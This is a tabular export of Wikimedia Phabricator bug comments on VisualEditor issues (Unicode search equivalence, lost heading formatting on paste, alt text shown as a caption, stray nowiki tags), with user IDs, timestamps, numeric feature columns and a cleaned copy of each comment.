248718,VisualEditor: Support unicode equivalence for client side text searches,"I don't see why not. We may want to add things like 'ß' => 'ss' in German, or final vs. non-final sigma in Greek (https://en.wikipedia.org/wiki/Sigma#Character_Encodings)",,,1372169071,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-eirxrxhok3puf5mpvsgj,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,0.0,0.0,6.0,0.0,8.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,14.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,0.0,0.0,6.0,11.0,8.0,0.0,11.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,2.5833333333333335,0.8611111111111112,"I don't see why not. We may want to add things like 'ß' => 'ss' in German, or final vs. non-final sigma in Greek (URL"
248713,VisualEditor: Support unicode equivalence for client side text searches,"We probably shouldn't strip down beyond NFKD. For some languages, 'ä' should be equivalent to 'a'; for others, it shouldn't be equivalent to anything; for still others, it should be equivalent to 'ae'.

Will it be feasible to implement language-specific search on top of this?",,,1372163402,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-eirxrxhok3puf5mpvsgj,task_subcomment,,True,c1,2,False,,,-1,,2.0,2.0,0.0,0.0,3.0,8.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,0.0,8.0,17.0,2.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,6.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,17.0,2.0,2.0,9.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.640625,0.609375,"We probably shouldn't strip down beyond NFKD. For some languages, 'ä' should be equivalent to 'a'; for others, it shouldn't be equivalent to anything; for still others, it should be equivalent to 'ae'.

Will it be feasible to implement language-specific search on top of this?"
52126,VisualEditor: Can't copy/paste header from start of document without losing formatting,"See https://en.wikipedia.org/w/index.php?title=User:JohnCD/VEtest&diff=prev&oldid=561397375 - the header is de-headered, and a spurious nowiki tag added.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1372102560,1521857381.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-coeco2n4cfz4d24eek2p,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,11.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6857142857142855,0.7142857142857143,"See URL - the header is de-headered, and a spurious nowiki tag added.

--------------------------
**Version**: unspecified
**Severity**: normal"
1038472,VisualEditor: Can't copy/paste header from start of document without losing formatting,"I peeked at the revision:

```name=Before
==L2 Header==
===L3 header===
Some text including '''bold '''and ''italic ''and '''''both '''''at once
[..]
==Fourth L2 header==
```

```name=After saving
==L2 Header==
===L3 header===
Some text including '''bold '''and ''italic ''and '''''both '''''at once
[..]
==Fourth L2 header==
L2 Header
===L3 header===
Some text including '''bold '''and ''italic ''and '''''both ''at once
===Another L3 header===
This line includes a [[Wikipedia:Wikilinks|wikilink]] as a sample
==<nowiki/>==
```

I presume the edit was to select from start (""L2 Header"") until end of first sentence, copy that, and paste at the end. Nothing the bugs: 1) `L2 Header` didn't become a heading, and 2) odd `<nowiki/>` in a heading at the end. I could not reproduce this on testwiki today. Closing as resolved.",,,1521857381,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-coeco2n4cfz4d24eek2p,task_subcomment,,True,c1,3,True,,,246,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,14.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,14.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,4.0285714285714285,0.8,"I peeked at the revision:

``CODE`CODE`CODE`CODEL2 HeaderCODE<nowiki/>` in a heading at the end. I could not reproduce this on testwiki today. Closing as resolved."
1038391,VisualEditor: Can't copy/paste header from start of document without losing formatting,"I can't reproduce this. I'm not sure what the original issue was, given the missing reproduction page, but a heading at the beginning doesn't seem to behave in any way differently than other headings.

To copy a heading along with the formatting, you have to select it together with the closing tag, which is a bit awkward and not obvious, but it's the same for all headings.",,,1521842541,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-coeco2n4cfz4d24eek2p,task_subcomment,,True,c1,3,True,,,246,,2.0,0.0,0.0,0.0,5.0,8.0,1.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,2.0,1.0,8.0,12.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,4.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,4.0,0.0,1.0,0.0,0.0,0.0,3.875,0.725,"I can't reproduce this. I'm not sure what the original issue was, given the missing reproduction page, but a heading at the beginning doesn't seem to behave in any way differently than other headings.

To copy a heading along with the formatting, you have to select it together with the closing tag, which is a bit awkward and not obvious, but it's the same for all headings."
1038389,VisualEditor: Can't copy/paste header from start of document without losing formatting,"> See https://en.wikipedia.org/w/index.php?title=User:JohnCD/VEtest&diff=prev&oldid=561397375 - the header is de-headered, and a spurious nowiki tag added.

This link is dead, it seems the page was deleted.",,,1521842221,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-coeco2n4cfz4d24eek2p,task_subcomment,,True,c1,3,True,,,246,,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.357142857142857,1.0,"QUOTE

This link is dead, it seems the page was deleted."
533273,VisualEditor: Can't copy/paste header from start of document without losing formatting,"It doesn't really matter if the header is the first one, and also happens when the entire section is selected.",,,1443020040,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-coeco2n4cfz4d24eek2p,task_subcomment,,True,c1,3,False,,,116,,0.0,0.0,0.0,4.0,4.0,9.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,9.0,4.0,9.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9565217391304346,0.8695652173913043,"It doesn't really matter if the header is the first one, and also happens when the entire section is selected."
246345,VisualEditor: Can't copy/paste header from start of document without losing formatting,*** Bug 54728 has been marked as a duplicate of this bug. ***,,,1381157444,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-coeco2n4cfz4d24eek2p,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54728 has been marked as a duplicate of this bug. ***
246337,VisualEditor: Can't copy/paste header from start of document without losing formatting,"Can't reproduce the last heading nowiki-ing, but the first of a document appears to be unable to copy with formatting.",,,1381148291,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-coeco2n4cfz4d24eek2p,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,4.0,16.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,16.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.96,0.92,"Can't reproduce the last heading nowiki-ing, but the first of a document appears to be unable to copy with formatting."
52113,VisualEditor: Uses of enwiki's {{Plain image with caption}} cause alt text to be displayed as a caption,"See https://en.wikipedia.org/wiki/Chloroplast?veaction=edit for example.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1372091520,1372120126.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-gvpsurapr2wpn6mmysso,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.869565217391304,0.6086956521739131,"See URL for example.

--------------------------
**Version**: unspecified
**Severity**: normal"
245424,VisualEditor: Uses of enwiki's {{Plain image with caption}} cause alt text to be displayed as a caption,Gerrit 70336 is a quick hack to fix this in VisualEditor. Parsoid bug for a proper fix (longer-term) is bug 50142.,,,1372120126,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gvpsurapr2wpn6mmysso,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,3.4814814814814814,0.8148148148148148,Gerrit 70336 is a quick hack to fix this in VisualEditor. Parsoid bug for a proper fix (longer-term) is bug 50142.
245416,VisualEditor: Uses of enwiki's {{Plain image with caption}} cause alt text to be displayed as a caption,https://gerrit.wikimedia.org/r/70336 (Gerrit Change I24491979bc7a27d2380924e48cb677b01e9f8f9b) | change APPROVED and MERGED [by jenkins-bot],,,1372118250,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gvpsurapr2wpn6mmysso,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,41.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.117647058823529,1.0,GERRIT_URL (Gerrit Change I24491979bc7a27d2380924e48cb677b01e9f8f9b) | change APPROVED and MERGED [by jenkins-bot]
245409,VisualEditor: Uses of enwiki's {{Plain image with caption}} cause alt text to be displayed as a caption,Related URL: https://gerrit.wikimedia.org/r/70336 (Gerrit Change I24491979bc7a27d2380924e48cb677b01e9f8f9b),,,1372113630,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gvpsurapr2wpn6mmysso,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I24491979bc7a27d2380924e48cb677b01e9f8f9b)
245404,VisualEditor: Uses of enwiki's {{Plain image with caption}} cause alt text to be displayed as a caption,"It looks like this is [[File:…|right|«alt text»]] is getting wrongly interpreted by Parsoid as a thumb image as opposed to a block image (which doesn't have a caption):

[[File:{{Remove file prefix|{{{1|{{{image<noinclude>|Example.svg</noinclude>}}}}}}}}|right|{{Str number/trim|{{{3|{{{width|250px}}}}}}}}px|{{{2|{{{caption<noinclude>|Caption goes here.</noinclude>}}}}}}]]

->

<figure class=""mw-halign-right"" typeof=""mw:Image"" data-parsoid=""…"">
  <a href=""./File:Chloroplast_II.svg"" data-parsoid=""…""><img resource=""./File:Chloroplast_II.svg"" src=""…"" height=""344"" width=""360"" data-parsoid=""…""></a>
  <figcaption class=""mw-figcaption"" data-parsoid=""{}"">Structure of a typical higher-plant chloroplast</figcaption>
</figure>

(The <figcaption> shouldn't be set, and also there should be an alt="""" set.)",,,1372110890,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gvpsurapr2wpn6mmysso,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.5,1.0,2.5,0.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.5,0.0,0.0,2.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,16.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,4.5,0.0,0.5,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.5,3.0,4.5,0.0,8.0,0.0,0.5,0.0,0.5,3.5,0.0,0.5,0.5,0.0,10.5,4.63125,0.61875,"It looks like this is [[File:…|right|«alt text»]] is getting wrongly interpreted by Parsoid as a thumb image as opposed to a block image (which doesn't have a caption):

[[File:{{Remove file prefix|{{{1|{{{image<noinclude>|Example.svg</noinclude>}}}}}}}}|right|{{Str number/trim|{{{3|{{{width|250px}}}}}}}}px|{{{2|{{{caption<noinclude>|Caption goes here.</noinclude>}}}}}}]]

->

<figure class=""mw-halign-right"" typeof=""mw:Image"" data-parsoid=""…"">
  <a href=""./File:Chloroplast_II.svg"" data-parsoid=""…""><img resource=""./File:Chloroplast_II.svg"" src=""…"" height=""344"" width=""360"" data-parsoid=""…""></a>
  <figcaption class=""mw-figcaption"" data-parsoid=""{}"">Structure of a typical higher-plant chloroplast</figcaption>
</figure>

(The <figcaption> shouldn't be set, and also there should be an alt="""" set.)"
245397,VisualEditor: Uses of enwiki's {{Plain image with caption}} cause alt text to be displayed as a caption,"First image, top right; I suspect stupidity in the {{Plain image}} template.",,,1372096750,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-gvpsurapr2wpn6mmysso,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4210526315789473,0.8421052631578947,"First image, top right; I suspect stupidity in the {{Plain image}} template."
245391,VisualEditor: Uses of enwiki's {{Plain image with caption}} cause alt text to be displayed as a caption,"(In reply to comment #0)
> See https://en.wikipedia.org/wiki/Chloroplast?veaction=edit for example.

Can you say where? There's 27 images on that page and 15 of them are non-captioned images, but I don't see the alt-text coming through for them.",,,1372096339,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gvpsurapr2wpn6mmysso,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,4.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,2.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,11.0,2.0,4.0,4.0,0.0,0.0,0.0,2.0,6.0,0.0,6.0,0.0,9.0,13.0,0.0,2.0,0.0,0.0,9.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,3.106382978723404,0.9361702127659575,"(In reply to comment #0)
QUOTE

Can you say where? There's 27 images on that page and 15 of them are non-captioned images, but I don't see the alt-text coming through for them."
52100,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","https://en.wikipedia.org/w/index.php?title=AES11&diff=prev&oldid=561340674

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
{T57769}
{T61647}",Medium,50.0,1372085880,1429293419.0,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0285714285714285,0.45714285714285713,"URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
{T57769}
{T61647}"
445461,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""",Split that into {T96395} as it's mobile-specific.,,,1429293419,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,True,,,93,,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,15.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3076923076923075,1.0,Split that into {T96395} as it's mobile-specific.
439847,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""",It looks like this is still happening: https://en.wikipedia.org/w/index.php?diff=655361654,,,1428430329,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,92,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.888888888888889,1.0,It looks like this is still happening: URL
436280,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""",Indeed.,,,1427847427,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,True,,,91,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Indeed.
435947,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""","If I understand correctly, the fix was deployed as part of version 1.25wmf23, which hasn't arrived to Wikipedias yet. It'll be deployed there tomorrow (April 1).",,,1427822170,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,91,,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,15.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9117647058823529,"If I understand correctly, the fix was deployed as part of version 1.25wmf23, which hasn't arrived to Wikipedias yet. It'll be deployed there tomorrow (April 1)."
435922,"VisualEditor: Deletion across a header caused it to remain without WS, leading Parsoid to output ""==<nowiki/>==""",See [[https://tt.wikipedia.org/w/index.php?title=%D0%9F%D1%81%D0%BA%D0%BE%D0%B2_%D3%A9%D0%BB%D0%BA%D3%99%D1%81%D0%B5&diff=prev&oldid=2056059|here]] though?,,,1427820191,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-xd4kljcgqcwzmsvbid4p,task_subcomment,,True,c1,3,False,,,91,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,2.5,0.8333333333333334,See [[URL though?
